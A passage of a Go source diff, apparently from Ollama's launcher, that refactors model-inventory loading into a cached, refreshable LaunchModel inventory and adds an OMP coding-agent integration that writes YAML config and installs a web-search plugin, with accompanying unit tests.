if err := c.loadModelInventoryOnce(ctx); err != nil {
inventory, err := c.modelInventory().Load(ctx)
if err != nil {
return c.showBasedModelUsable(ctx, name)
}
return c.singleModelUsable(ctx, name), nil
return c.singleModelUsable(ctx, name, inventory), nil
}
func (c *launcherClient) showBasedModelUsable(ctx context.Context, name string) (bool, error) {
@@ -1315,7 +1428,7 @@ func (c *launcherClient) showBasedModelUsable(ctx context.Context, name string)
return true, nil
}
func (c *launcherClient) singleModelUsable(ctx context.Context, name string) bool {
func (c *launcherClient) singleModelUsable(ctx context.Context, name string, inventory []LaunchModel) bool {
if name == "" {
return false
}
@@ -1323,11 +1436,11 @@ func (c *launcherClient) singleModelUsable(ctx context.Context, name string) boo
cloudDisabled, _ := cloudStatusDisabled(ctx, c.apiClient)
return !cloudDisabled
}
return c.hasLocalModel(name)
return hasLocalModel(inventory, name)
}
func (c *launcherClient) hasLocalModel(name string) bool {
for _, model := range c.modelInventory {
func hasLocalModel(inventory []LaunchModel, name string) bool {
for _, model := range inventory {
if model.Remote {
continue
}
@@ -1338,37 +1451,18 @@ func (c *launcherClient) hasLocalModel(name string) bool {
return false
}
func (c *launcherClient) loadModelInventoryOnce(ctx context.Context) error {
if c.inventoryLoaded {
return nil
}
resp, err := c.apiClient.List(ctx)
if err != nil {
return err
}
c.modelInventory = c.modelInventory[:0]
for _, model := range resp.Models {
c.modelInventory = append(c.modelInventory, ModelInfo{
Name: model.Name,
Remote: model.RemoteModel != "",
})
}
cloudDisabled, _ := cloudStatusDisabled(ctx, c.apiClient)
if cloudDisabled {
c.modelInventory = filterCloudModels(c.modelInventory)
}
c.inventoryLoaded = true
return nil
func (c *launcherClient) resolveRunModels(ctx context.Context, models []string) []LaunchModel {
return c.modelInventory().Resolve(ctx, models)
}
func runIntegration(runner Runner, modelName string, args []string) error {
return runner.Run(modelName, args)
func runIntegration(runner Runner, modelName string, models []LaunchModel, args []string) error {
if len(models) == 0 && modelName != "" {
models = launchModelsFromNames([]string{modelName})
}
return runner.Run(modelName, models, args)
}
func launchAfterConfiguration(name string, runner Runner, model string, req IntegrationLaunchRequest) error {
func launchAfterConfiguration(name string, runner Runner, model string, models []LaunchModel, req IntegrationLaunchRequest) error {
if req.ConfigureOnly {
launch, err := ConfirmPrompt(fmt.Sprintf("Launch %s now?", runner))
if err != nil {
@@ -1381,7 +1475,7 @@ func launchAfterConfiguration(name string, runner Runner, model string, req Inte
if err := EnsureIntegrationInstalled(name, runner); err != nil {
return err
}
return runIntegration(runner, model, req.ExtraArgs)
return runIntegration(runner, model, models, req.ExtraArgs)
}
func loadStoredIntegrationConfig(name string) (*config.IntegrationConfig, error) {
+924 -106
View File
File diff suppressed because it is too large. Load diff
+201
View File
@@ -0,0 +1,201 @@
package launch
import (
"context"
"slices"
"strings"
"sync"
"github.com/ollama/ollama/api"
modelpkg "github.com/ollama/ollama/types/model"
)
// LaunchModel is the model metadata Launch passes to integration config
// writers after resolving selected model names through the per-run inventory.
type LaunchModel struct {
Name string
Remote bool
ToolCapable bool
Capabilities []modelpkg.Capability
ContextLength int
MaxOutputTokens int
EmbeddingLength int
Size int64
Details api.ModelDetails
}
type modelInfo = LaunchModel
// ModelInfo re-exports launcher model inventory details for callers.
type ModelInfo = LaunchModel
func (m LaunchModel) HasCapability(capability modelpkg.Capability) bool {
return slices.Contains(m.Capabilities, capability)
}
func (m LaunchModel) WithCloudLimits() LaunchModel {
if limit, ok := lookupCloudModelLimit(m.Name); ok {
if m.ContextLength <= 0 {
m.ContextLength = limit.Context
}
if m.MaxOutputTokens <= 0 {
m.MaxOutputTokens = limit.Output
}
}
return m
}
type modelInventory struct {
client *api.Client
mu sync.Mutex
loaded bool
models []LaunchModel
err error
}
func newModelInventory(client *api.Client) *modelInventory {
return &modelInventory{client: client}
}
func (i *modelInventory) Load(ctx context.Context) ([]LaunchModel, error) {
return i.load(ctx, false)
}
func (i *modelInventory) Refresh(ctx context.Context) ([]LaunchModel, error) {
return i.load(ctx, true)
}
func (i *modelInventory) load(ctx context.Context, force bool) ([]LaunchModel, error) {
if i == nil || i.client == nil {
return nil, nil
}
i.mu.Lock()
defer i.mu.Unlock()
if i.loaded && !force {
return cloneLaunchModels(i.models), i.err
}
resp, err := i.client.List(ctx)
if err != nil {
i.models = nil
i.err = err
i.loaded = true
return nil, err
}
i.models = make([]LaunchModel, 0, len(resp.Models))
for _, model := range resp.Models {
i.models = append(i.models, launchModelFromListResponse(model))
}
i.err = nil
i.loaded = true
return cloneLaunchModels(i.models), i.err
}
func (i *modelInventory) Resolve(ctx context.Context, names []string) []LaunchModel {
names = dedupeModelList(names)
if len(names) == 0 {
return nil
}
models, err := i.Load(ctx)
if err != nil {
models = nil
}
resolved, localMiss := resolveLaunchModels(names, models)
if localMiss {
if refreshed, err := i.Refresh(ctx); err == nil {
resolved, _ = resolveLaunchModels(names, refreshed)
}
}
return resolved
}
func resolveLaunchModels(names []string, models []LaunchModel) ([]LaunchModel, bool) {
resolved := make([]LaunchModel, 0, len(names))
localMiss := false
for _, name := range names {
if model, ok := findLaunchModel(models, name); ok {
resolved = append(resolved, model.WithCloudLimits())
continue
}
if !isCloudModelName(name) {
localMiss = true
}
resolved = append(resolved, fallbackLaunchModel(name))
}
return resolved, localMiss
}
func launchModelFromListResponse(model api.ListModelResponse) LaunchModel {
return LaunchModel{
Name: model.Name,
Remote: model.RemoteModel != "",
ToolCapable: slices.Contains(model.Capabilities, modelpkg.CapabilityTools),
Capabilities: append([]modelpkg.Capability(nil), model.Capabilities...),
ContextLength: model.Details.ContextLength,
EmbeddingLength: model.Details.EmbeddingLength,
Size: model.Size,
Details: model.Details,
}.WithCloudLimits()
}
func fallbackLaunchModel(name string) LaunchModel {
return LaunchModel{Name: name, Remote: isCloudModelName(name)}.WithCloudLimits()
}
func findLaunchModel(models []LaunchModel, name string) (LaunchModel, bool) {
for _, model := range models {
if launchModelMatches(model.Name, name) {
return cloneLaunchModel(model), true
}
}
return LaunchModel{}, false
}
func launchModelMatches(candidate, name string) bool {
if candidate == name {
return true
}
return strings.TrimSuffix(candidate, ":latest") == name
}
func cloneLaunchModel(model LaunchModel) LaunchModel {
model.Capabilities = append([]modelpkg.Capability(nil), model.Capabilities...)
model.Details.Families = append([]string(nil), model.Details.Families...)
return model
}
func cloneLaunchModels(models []LaunchModel) []LaunchModel {
cloned := make([]LaunchModel, len(models))
for i, model := range models {
cloned[i] = cloneLaunchModel(model)
}
return cloned
}
func launchModelNames(models []LaunchModel) []string {
names := make([]string, 0, len(models))
for _, model := range models {
if model.Name != "" {
names = append(names, model.Name)
}
}
return names
}
func launchModelsFromNames(names []string) []LaunchModel {
models := make([]LaunchModel, 0, len(names))
for _, name := range names {
if name == "" {
continue
}
models = append(models, fallbackLaunchModel(name))
}
return models
}
+80
View File
@@ -0,0 +1,80 @@
package launch
import (
"context"
"fmt"
"net/http"
"net/http/httptest"
"net/url"
"testing"
"github.com/ollama/ollama/api"
modelpkg "github.com/ollama/ollama/types/model"
)
func TestModelInventoryResolveRefreshesLocalMiss(t *testing.T) {
calls := 0
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/api/tags" {
http.NotFound(w, r)
return
}
calls++
if calls == 1 {
fmt.Fprint(w, `{"models":[]}`)
return
}
fmt.Fprint(w, `{"models":[{"name":"new-model","size":123,"details":{"context_length":65536,"embedding_length":1024},"capabilities":["vision","tools"]}]}`)
}))
defer srv.Close()
u, _ := url.Parse(srv.URL)
inventory := newModelInventory(api.NewClient(u, srv.Client()))
got := inventory.Resolve(context.Background(), []string{"new-model"})
if calls != 2 {
t.Fatalf("List calls = %d, want 2", calls)
}
if len(got) != 1 {
t.Fatalf("Resolve returned %d models, want 1", len(got))
}
if got[0].Name != "new-model" {
t.Fatalf("Name = %q, want new-model", got[0].Name)
}
if got[0].ContextLength != 65_536 || got[0].EmbeddingLength != 1_024 {
t.Fatalf("metadata = context %d embedding %d, want refreshed metadata", got[0].ContextLength, got[0].EmbeddingLength)
}
if !got[0].HasCapability(modelpkg.CapabilityVision) || !got[0].ToolCapable {
t.Fatalf("capabilities = %v toolCapable=%v, want refreshed capabilities", got[0].Capabilities, got[0].ToolCapable)
}
}
func TestModelInventoryResolveDoesNotRefreshCloudMiss(t *testing.T) {
calls := 0
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/api/tags" {
http.NotFound(w, r)
return
}
calls++
fmt.Fprint(w, `{"models":[]}`)
}))
defer srv.Close()
u, _ := url.Parse(srv.URL)
inventory := newModelInventory(api.NewClient(u, srv.Client()))
got := inventory.Resolve(context.Background(), []string{"glm-5.1:cloud"})
if calls != 1 {
t.Fatalf("List calls = %d, want 1", calls)
}
if len(got) != 1 {
t.Fatalf("Resolve returned %d models, want 1", len(got))
}
if got[0].Name != "glm-5.1:cloud" || !got[0].Remote {
t.Fatalf("resolved model = %#v, want cloud fallback", got[0])
}
if got[0].ContextLength <= 0 || got[0].MaxOutputTokens <= 0 {
t.Fatalf("cloud limits not applied: %#v", got[0])
}
}
+36 -35
View File
@@ -23,10 +23,10 @@ import (
)
var recommendedModels = []ModelItem{
{Name: "kimi-k2.6:cloud", Description: "State-of-the-art coding, long-horizon execution, and multimodal agent swarm capability", Recommended: true, ContextLength: 262_144, MaxOutputTokens: 262_144},
{Name: "qwen3.5:cloud", Description: "Reasoning, coding, and agentic tool use with vision", Recommended: true, ContextLength: 262_144, MaxOutputTokens: 32_768},
{Name: "glm-5.1:cloud", Description: "Reasoning and code generation", Recommended: true, ContextLength: 202_752, MaxOutputTokens: 131_072},
{Name: "minimax-m2.7:cloud", Description: "Fast, efficient coding and real-world productivity", Recommended: true, ContextLength: 204_800, MaxOutputTokens: 128_000},
{Name: "kimi-k2.6:cloud", Description: "State-of-the-art coding, long-horizon execution, and multimodal agent swarm capability", Recommended: true, Details: api.ModelDetails{ContextLength: 262_144}, MaxOutputTokens: 262_144},
{Name: "qwen3.5:cloud", Description: "Reasoning, coding, and agentic tool use with vision", Recommended: true, Details: api.ModelDetails{ContextLength: 262_144}, MaxOutputTokens: 32_768},
{Name: "glm-5.1:cloud", Description: "Reasoning and code generation", Recommended: true, Details: api.ModelDetails{ContextLength: 202_752}, MaxOutputTokens: 131_072},
{Name: "minimax-m2.7:cloud", Description: "Fast, efficient coding and real-world productivity", Recommended: true, Details: api.ModelDetails{ContextLength: 204_800}, MaxOutputTokens: 128_000},
{Name: "gemma4", Description: "Reasoning and code generation locally", Recommended: true, VRAMBytes: 12 * format.GigaByte},
{Name: "qwen3.5", Description: "Reasoning, coding, and visual understanding locally", Recommended: true, VRAMBytes: 14 * format.GigaByte},
}
@@ -115,7 +115,7 @@ func setDynamicCloudModelLimits(limits map[string]cloudModelLimit) {
func cloudModelLimitsFromRecommendations(recommendations []ModelItem) map[string]cloudModelLimit {
limits := make(map[string]cloudModelLimit, len(recommendations))
for _, rec := range recommendations {
if !isCloudModelName(rec.Name) || rec.ContextLength <= 0 || rec.MaxOutputTokens <= 0 {
if !isCloudModelName(rec.Name) || rec.Details.ContextLength <= 0 || rec.MaxOutputTokens <= 0 {
continue
}
base, stripped := modelref.StripCloudSourceTag(rec.Name)
@@ -123,7 +123,7 @@ func cloudModelLimitsFromRecommendations(recommendations []ModelItem) map[string
continue
}
limits[base] = cloudModelLimit{
Context: rec.ContextLength,
Context: rec.Details.ContextLength,
Output: rec.MaxOutputTokens,
}
}
@@ -194,10 +194,10 @@ func ensureCloudAuth(ctx context.Context, client *api.Client, modelList string)
}
var aErr api.AuthorizationError
if !errors.As(err, &aErr) || aErr.SigninURL == "" {
if err != nil {
return err
}
if err != nil && !errors.As(err, &aErr) {
return nil
}
if err == nil || aErr.SigninURL == "" {
return fmt.Errorf("%s requires sign in", modelList)
}
@@ -258,19 +258,23 @@ func showOrPullWithPolicy(ctx context.Context, client *api.Client, model string,
if _, err := client.Show(ctx, &api.ShowRequest{Model: model}); err == nil {
return nil
} else {
if isCloudModel {
if disabled, known := cloudStatusDisabled(ctx, client); known && disabled {
return errors.New(internalcloud.DisabledError("remote inference is unavailable"))
}
var statusErr api.StatusError
if errors.As(err, &statusErr) && statusErr.StatusCode == http.StatusNotFound {
return fmt.Errorf("model %q not found", model)
}
return nil
}
var statusErr api.StatusError
if !errors.As(err, &statusErr) || statusErr.StatusCode != http.StatusNotFound {
return err
}
}
if isCloudModel {
if disabled, known := cloudStatusDisabled(ctx, client); known && disabled {
return errors.New(internalcloud.DisabledError("remote inference is unavailable"))
}
return fmt.Errorf("model %q not found", model)
}
switch policy {
case missingModelAutoPull:
return pullMissingModel(ctx, client, model)
@@ -299,18 +303,17 @@ func pullMissingModel(ctx context.Context, client *api.Client, model string) err
}
// prepareEditorIntegration persists models and applies editor-managed config files.
func prepareEditorIntegration(name string, editor Editor, models []string) error {
func prepareEditorIntegration(name string, editor Editor, models []LaunchModel) error {
if err := editor.Edit(models); err != nil {
return fmt.Errorf("setup failed: %w", err)
}
if err := config.SaveIntegration(name, models); err != nil {
if err := config.SaveIntegration(name, launchModelNames(models)); err != nil {
return fmt.Errorf("failed to save: %w", err)
}
return nil
}
func prepareManagedSingleIntegration(name string, managed ManagedSingleModel, model string, models []string) error {
models = dedupeModelList(append([]string{model}, models...))
func prepareManagedSingleIntegration(name string, managed ManagedSingleModel, model string, models []LaunchModel) error {
var err error
if withModels, ok := managed.(ManagedModelListConfigurer); ok {
err = withModels.ConfigureWithModels(model, models)
@@ -365,11 +368,11 @@ func buildModelListWithRecommendations(existing []modelInfo, recommendations []M
}
displayName := strings.TrimSuffix(m.Name, ":latest")
existingModels[displayName] = true
item := ModelItem{Name: displayName, Recommended: recommended[displayName], Description: recDesc[displayName]}
if rec, ok := recByName[displayName]; ok {
item = copyModelRecommendationFields(displayName, rec)
items = append(items, modelItemFromInventory(displayName, m, copyModelRecommendationFields(displayName, rec)))
} else {
items = append(items, modelItemFromInventory(displayName, m, ModelItem{Name: displayName, Recommended: recommended[displayName], Description: recDesc[displayName]}))
}
items = append(items, item)
}
for _, rec := range recommendations {
@@ -483,22 +486,20 @@ func copyModelRecommendationFields(name string, rec ModelItem) ModelItem {
return rec
}
func modelItemFromInventory(name string, info modelInfo, item ModelItem) ModelItem {
item.Name = name
item.ToolCapable = info.ToolCapable
item.Capabilities = slices.Clone(info.Capabilities)
item.Size = info.Size
item.Details = info.Details
return item
}
// isCloudModelName reports whether the model name has an explicit cloud source.
func isCloudModelName(name string) bool {
return modelref.HasExplicitCloudSource(name)
}
// filterCloudModels drops remote-only models from the given inventory.
func filterCloudModels(existing []modelInfo) []modelInfo {
filtered := existing[:0]
for _, m := range existing {
if !m.Remote {
filtered = append(filtered, m)
}
}
return filtered
}
// filterCloudItems removes cloud models from selection items.
func filterCloudItems(items []ModelItem) []ModelItem {
filtered := items[:0]
+83
View File
@@ -0,0 +1,83 @@
package launch
import (
"testing"
"github.com/ollama/ollama/api"
"github.com/ollama/ollama/format"
modelpkg "github.com/ollama/ollama/types/model"
)
func TestBuildModelList_UsesInventoryMetadataForInstalledModels(t *testing.T) {
existing := []modelInfo{
{
Name: "custom-tools:latest",
ToolCapable: true,
Capabilities: []modelpkg.Capability{modelpkg.CapabilityCompletion, modelpkg.CapabilityTools, modelpkg.CapabilityThinking},
Size: 7500 * format.MegaByte,
Details: api.ModelDetails{
ParameterSize: "8B",
QuantizationLevel: "Q4_K_M",
ContextLength: 131_072,
EmbeddingLength: 4096,
},
},
}
items, _, _, _ := buildModelList(existing, nil, "")
var got ModelItem
for _, item := range items {
if item.Name == "custom-tools" {
got = item
break
}
}
if got.Name == "" {
t.Fatal("custom-tools not found in items")
}
if !got.ToolCapable {
t.Fatal("expected installed model to preserve tool capability from tags metadata")
}
if got.Details.ContextLength != 131_072 {
t.Fatalf("Details.ContextLength = %d, want 131072", got.Details.ContextLength)
}
if got.Size != 7500*format.MegaByte {
t.Fatalf("Size = %d, want %d", got.Size, 7500*format.MegaByte)
}
if got.Description != "" {
t.Fatalf("Description = %q, want empty for installed model without recommendation copy", got.Description)
}
}
func TestBuildModelList_InstalledRecommendedPreservesRecommendationAndMetadata(t *testing.T) {
existing := []modelInfo{
{
Name: "qwen3.5",
ToolCapable: true,
Capabilities: []modelpkg.Capability{modelpkg.CapabilityCompletion, modelpkg.CapabilityTools, modelpkg.CapabilityVision},
Size: 14 * format.GigaByte,
Details: api.ModelDetails{ContextLength: 262_144},
},
}
items, _, _, _ := buildModelList(existing, nil, "")
var got ModelItem
for _, item := range items {
if item.Name == "qwen3.5" {
got = item
break
}
}
if got.Name == "" {
t.Fatal("qwen3.5 not found in items")
}
if !got.Recommended || !got.ToolCapable {
t.Fatalf("recommended/tool metadata = %v/%v, want true/true", got.Recommended, got.ToolCapable)
}
if got.Details.ContextLength != 262_144 {
t.Fatalf("Details.ContextLength = %d, want 262144", got.Details.ContextLength)
}
if got.Description != "Reasoning, coding, and visual understanding locally" {
t.Fatalf("Description = %q, want recommendation description", got.Description)
}
}
+454
View File
@@ -0,0 +1,454 @@
package launch
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"runtime"
"slices"
"strings"
"github.com/ollama/ollama/cmd/config"
"github.com/ollama/ollama/cmd/internal/fileutil"
"github.com/ollama/ollama/envconfig"
"github.com/ollama/ollama/types/model"
"gopkg.in/yaml.v3"
)
const (
ompIntegrationName = "omp"
ompProviderName = "ollama"
ompSetupVersion = 1
ompWebSearchPlugin = "@ollama/pi-web-search"
)
// OMP implements Runner for the OMP coding-agent integration.
type OMP struct{}
func (o *OMP) String() string { return "OMP" }
func (o *OMP) Paths() []string {
var paths []string
for _, pathFn := range []func() (string, error){ompModelsPath, ompConfigPath} {
path, err := pathFn()
if err != nil {
continue
}
if _, err := os.Stat(path); err == nil {
paths = append(paths, path)
}
}
return paths
}
func (o *OMP) Configure(model string) error {
return o.ConfigureWithModels(model, []LaunchModel{fallbackLaunchModel(model)})
}
func (o *OMP) ConfigureWithModels(primary string, models []LaunchModel) error {
if primary == "" {
return nil
}
if len(models) == 0 {
models = []LaunchModel{fallbackLaunchModel(primary)}
}
if err := writeOMPModelsConfig(primary, models); err != nil {
return err
}
return writeOMPAgentConfig()
}
func (o *OMP) CurrentModel() string {
cfg, err := readOMPModelsConfig()
if err != nil {
return ""
}
provider, ok := ompProvider(cfg)
if !ok {
return ""
}
if !ompProviderHealthy(provider) {
return ""
}
models, _ := provider["models"].([]any)
for _, raw := range models {
entry, ok := raw.(map[string]any)
if !ok {
continue
}
if id, _ := entry["id"].(string); id != "" {
return id
}
}
return ""
}
func (o *OMP) Onboard() error {
return config.MarkIntegrationOnboarded(ompIntegrationName)
}
func (o *OMP) RequiresInteractiveOnboarding() bool { return false }
func (o *OMP) args(model string, extra []string) []string {
var args []string
if model != "" {
args = append(args, "--model", ompModelName(model))
}
args = append(args, extra...)
return args
}
func ompModelName(model string) string {
if strings.HasPrefix(model, "ollama/") {
return model
}
return "ollama/" + model
}
func (o *OMP) findPath() (string, error) {
if p, err := exec.LookPath("omp"); err == nil {
return p, nil
}
home, err := os.UserHomeDir()
if err != nil {
return "", err
}
for _, dir := range []string{
filepath.Join(home, ".local", "bin"),
filepath.Join(home, ".bun", "bin"),
} {
for _, name := range ompExecutableNames() {
fallback := filepath.Join(dir, name)
if _, err := os.Stat(fallback); err == nil {
return fallback, nil
}
}
}
return "", exec.ErrNotFound
}
func ompExecutableNames() []string {
if runtime.GOOS == "windows" {
return []string{"omp.exe", "omp.cmd", "omp.bat"}
}
return []string{"omp"}
}
func (o *OMP) Run(model string, _ []LaunchModel, args []string) error {
ompPath, err := o.findPath()
if err != nil {
return fmt.Errorf("omp is not installed, install from https://omp.sh")
}
ensureOMPWebSearchPlugin(ompPath)
cmd := exec.Command(ompPath, o.args(model, args)...)
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
cmd.Env = os.Environ()
return cmd.Run()
}
func ensureOMPWebSearchPlugin(bin string) {
if !shouldManageOllamaWebSearch() {
fmt.Fprintf(os.Stderr, "%sCloud is disabled; skipping %s setup.%s\n", ansiGray, ompWebSearchPlugin, ansiReset)
return
}
fmt.Fprintf(os.Stderr, "%sChecking OMP web search plugin...%s\n", ansiGray, ansiReset)
installed, err := ompPluginInstalled(bin, ompWebSearchPlugin)
if err != nil {
fmt.Fprintf(os.Stderr, "%s Warning: could not check %s installation: %v%s\n", ansiYellow, ompWebSearchPlugin, err, ansiReset)
return
}
verb := "Installing"
warnVerb := "install"
doneVerb := "Installed"
if installed {
verb = "Updating"
warnVerb = "update"
doneVerb = "Updated"
}
fmt.Fprintf(os.Stderr, "%s%s %s...%s\n", ansiGray, verb, ompWebSearchPlugin, ansiReset)
cmd := exec.Command(bin, "plugin", "install", ompWebSearchPlugin)
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
fmt.Fprintf(os.Stderr, "%s Warning: could not %s %s: %v%s\n", ansiYellow, warnVerb, ompWebSearchPlugin, err, ansiReset)
return
}
fmt.Fprintf(os.Stderr, "%s ✓ %s %s%s\n", ansiGreen, doneVerb, ompWebSearchPlugin, ansiReset)
}
func ompPluginInstalled(bin, plugin string) (bool, error) {
cmd := exec.Command(bin, "plugin", "list")
out, err := cmd.CombinedOutput()
if err != nil {
msg := strings.TrimSpace(string(out))
if msg == "" {
return false, err
}
return false, fmt.Errorf("%w: %s", err, msg)
}
versioned := plugin + "@"
for _, line := range strings.Split(string(out), "\n") {
trimmed := strings.TrimSpace(line)
if strings.Contains(trimmed, versioned) || trimmed == plugin {
return true, nil
}
}
return false, nil
}
func ompModelsPath() (string, error) {
dir, err := ompAgentDir()
if err != nil {
return "", err
}
return filepath.Join(dir, "models.yml"), nil
}
func ompConfigPath() (string, error) {
dir, err := ompAgentDir()
if err != nil {
return "", err
}
return filepath.Join(dir, "config.yml"), nil
}
func ompAgentDir() (string, error) {
if dir := strings.TrimSpace(os.Getenv("PI_CODING_AGENT_DIR")); dir != "" {
return dir, nil
}
home, err := os.UserHomeDir()
if err != nil {
return "", err
}
configDir := strings.TrimSpace(os.Getenv("PI_CONFIG_DIR"))
if configDir == "" {
configDir = ".omp"
}
if filepath.IsAbs(configDir) {
return filepath.Join(configDir, "agent"), nil
}
return filepath.Join(home, configDir, "agent"), nil
}
func readOMPModelsConfig() (map[string]any, error) {
path, err := ompModelsPath()
if err != nil {
return nil, err
}
data, err := os.ReadFile(path)
if err != nil {
return nil, err
}
var cfg map[string]any
if err := yaml.Unmarshal(data, &cfg); err != nil {
return nil, err
}
if cfg == nil {
cfg = make(map[string]any)
}
return cfg, nil
}
func writeOMPModelsConfig(primary string, models []LaunchModel) error {
path, err := ompModelsPath()
if err != nil {
return err
}
if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
return err
}
cfg := make(map[string]any)
if existing, err := readOMPModelsConfig(); err == nil {
cfg = existing
}
provider := ensureOMPProvider(cfg)
existingByID := ompModelEntriesByID(provider)
ordered := append([]LaunchModel(nil), models...)
if model, ok := findLaunchModel(ordered, primary); ok {
ordered = append([]LaunchModel{model}, removeLaunchModel(ordered, primary)...)
} else {
ordered = append([]LaunchModel{fallbackLaunchModel(primary)}, ordered...)
}
var merged []any
seen := make(map[string]bool, len(ordered))
for _, model := range ordered {
if model.Name == "" || seen[model.Name] {
continue
}
seen[model.Name] = true
entry := ompModelConfig(model)
if existing, ok := existingByID[model.Name]; ok {
for key, value := range existing {
if _, overridden := entry[key]; !overridden {
entry[key] = value
}
}
}
merged = append(merged, entry)
}
for _, raw := range ompProviderModels(provider) {
entry, ok := raw.(map[string]any)
if !ok {
merged = append(merged, raw)
continue
}
id, _ := entry["id"].(string)
if id == "" || seen[id] {
continue
}
merged = append(merged, entry)
}
provider["models"] = merged
data, err := yaml.Marshal(cfg)
if err != nil {
return err
}
return fileutil.WriteWithBackup(path, data, ompIntegrationName)
}
func writeOMPAgentConfig() error {
path, err := ompConfigPath()
if err != nil {
return err
}
if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
return err
}
cfg := make(map[string]any)
if data, err := os.ReadFile(path); err == nil {
if err := yaml.Unmarshal(data, &cfg); err != nil {
return err
}
if cfg == nil {
cfg = make(map[string]any)
}
}
cfg["setupVersion"] = ompSetupVersion
data, err := yaml.Marshal(cfg)
if err != nil {
return err
}
return fileutil.WriteWithBackup(path, data, ompIntegrationName)
}
func ensureOMPProvider(cfg map[string]any) map[string]any {
providers, _ := cfg["providers"].(map[string]any)
if providers == nil {
providers = make(map[string]any)
cfg["providers"] = providers
}
provider, _ := providers[ompProviderName].(map[string]any)
if provider == nil {
provider = make(map[string]any)
providers[ompProviderName] = provider
}
provider["baseUrl"] = ompBaseURL()
provider["api"] = "openai-responses"
provider["auth"] = "none"
provider["discovery"] = map[string]any{"type": "ollama"}
return provider
}
func ompBaseURL() string {
return strings.TrimRight(envconfig.ConnectableHost().String(), "/") + "/v1"
}
func ompProviderHealthy(provider map[string]any) bool {
baseURL, _ := provider["baseUrl"].(string)
if strings.TrimRight(baseURL, "/") != strings.TrimRight(ompBaseURL(), "/") {
return false
}
api, _ := provider["api"].(string)
if api != "openai-responses" {
return false
}
auth, _ := provider["auth"].(string)
if auth != "none" {
return false
}
discovery, _ := provider["discovery"].(map[string]any)
if discovery == nil {
return false
}
discoveryType, _ := discovery["type"].(string)
return discoveryType == "ollama"
}
func ompProvider(cfg map[string]any) (map[string]any, bool) {
providers, ok := cfg["providers"].(map[string]any)
if !ok {
return nil, false
}
provider, ok := providers[ompProviderName].(map[string]any)
return provider, ok
}
func ompProviderModels(provider map[string]any) []any {
models, _ := provider["models"].([]any)
return models
}
func ompModelEntriesByID(provider map[string]any) map[string]map[string]any {
out := make(map[string]map[string]any)
for _, raw := range ompProviderModels(provider) {
entry, ok := raw.(map[string]any)
if !ok {
continue
}
if id, _ := entry["id"].(string); id != "" {
out[id] = entry
}
}
return out
}
func ompModelConfig(modelInfo LaunchModel) map[string]any {
entry := map[string]any{
"id": modelInfo.Name,
"name": modelInfo.Name,
}
input := []string{"text"}
if slices.Contains(modelInfo.Capabilities, model.CapabilityVision) {
input = append(input, "image")
}
entry["input"] = input
if modelInfo.ContextLength > 0 {
entry["contextWindow"] = modelInfo.ContextLength
}
if modelInfo.MaxOutputTokens > 0 {
entry["maxTokens"] = modelInfo.MaxOutputTokens
}
return entry
}
func removeLaunchModel(models []LaunchModel, name string) []LaunchModel {
out := make([]LaunchModel, 0, len(models))
for _, model := range models {
if launchModelMatches(model.Name, name) || launchModelMatches(name, model.Name) {
continue
}
out = append(out, model)
}
return out
}
+687
View File
@@ -0,0 +1,687 @@
package launch
import (
"fmt"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"runtime"
"slices"
"strings"
"testing"
modelpkg "github.com/ollama/ollama/types/model"
"gopkg.in/yaml.v3"
)
func TestMain(m *testing.M) {
if os.Getenv("OLLAMA_LAUNCH_OMP_TEST_HELPER") == "1" {
runOMPTestHelper()
return
}
os.Exit(m.Run())
}
func runOMPTestHelper() {
logPath := os.Getenv("OLLAMA_LAUNCH_OMP_TEST_LOG")
if logPath != "" {
f, err := os.OpenFile(logPath, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0o644)
if err == nil {
_, _ = fmt.Fprintln(f, strings.Join(os.Args[1:], " "))
_ = f.Close()
}
}
if len(os.Args) >= 3 && os.Args[1] == "plugin" && os.Args[2] == "list" {
fmt.Print(os.Getenv("OLLAMA_LAUNCH_OMP_TEST_PLUGIN_LIST"))
os.Exit(0)
}
if len(os.Args) >= 4 && os.Args[1] == "plugin" && os.Args[2] == "install" {
if os.Getenv("OLLAMA_LAUNCH_OMP_TEST_FAIL_INSTALL") == "1" {
_, _ = fmt.Fprintln(os.Stderr, "install failed")
os.Exit(1)
}
os.Exit(0)
}
os.Exit(0)
}
func setOMPTestHome(t *testing.T, dir string) {
t.Helper()
setTestHome(t, dir)
t.Setenv("PI_CONFIG_DIR", "")
t.Setenv("PI_CODING_AGENT_DIR", "")
}
func TestOMPIntegration(t *testing.T) {
o := &OMP{}
t.Run("String", func(t *testing.T) {
if got := o.String(); got != "OMP" {
t.Errorf("String() = %q, want %q", got, "OMP")
}
})
t.Run("implements Runner", func(t *testing.T) {
var _ Runner = o
})
t.Run("implements ManagedSingleModel", func(t *testing.T) {
var _ ManagedSingleModel = o
})
t.Run("implements ManagedModelListConfigurer", func(t *testing.T) {
var _ ManagedModelListConfigurer = o
})
t.Run("does not require interactive onboarding", func(t *testing.T) {
var _ ManagedInteractiveOnboarding = o
if o.RequiresInteractiveOnboarding() {
t.Fatal("OMP onboarding should not require an interactive terminal")
}
})
}
func TestOMPArgs(t *testing.T) {
o := &OMP{}
tests := []struct {
name string
model string
args []string
want []string
}{
{"with model", "gemma4", nil, []string{"--model", "ollama/gemma4"}},
{"with cloud model", "kimi-k2.6:cloud", nil, []string{"--model", "ollama/kimi-k2.6:cloud"}},
{"empty model", "", nil, nil},
{"with model and extra", "gemma4", []string{"--help"}, []string{"--model", "ollama/gemma4", "--help"}},
{"already qualified", "ollama/gemma4", nil, []string{"--model", "ollama/gemma4"}},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := o.args(tt.model, tt.args)
if !slices.Equal(got, tt.want) {
t.Errorf("args(%q, %v) = %v, want %v", tt.model, tt.args, got, tt.want)
}
})
}
}
func TestOMPRun_WebSearchPluginLifecycle(t *testing.T) {
seedOMPHelperBinary := func(t *testing.T, dir string) {
t.Helper()
src, err := os.Executable()
if err != nil {
t.Fatal(err)
}
data, err := os.ReadFile(src)
if err != nil {
t.Fatal(err)
}
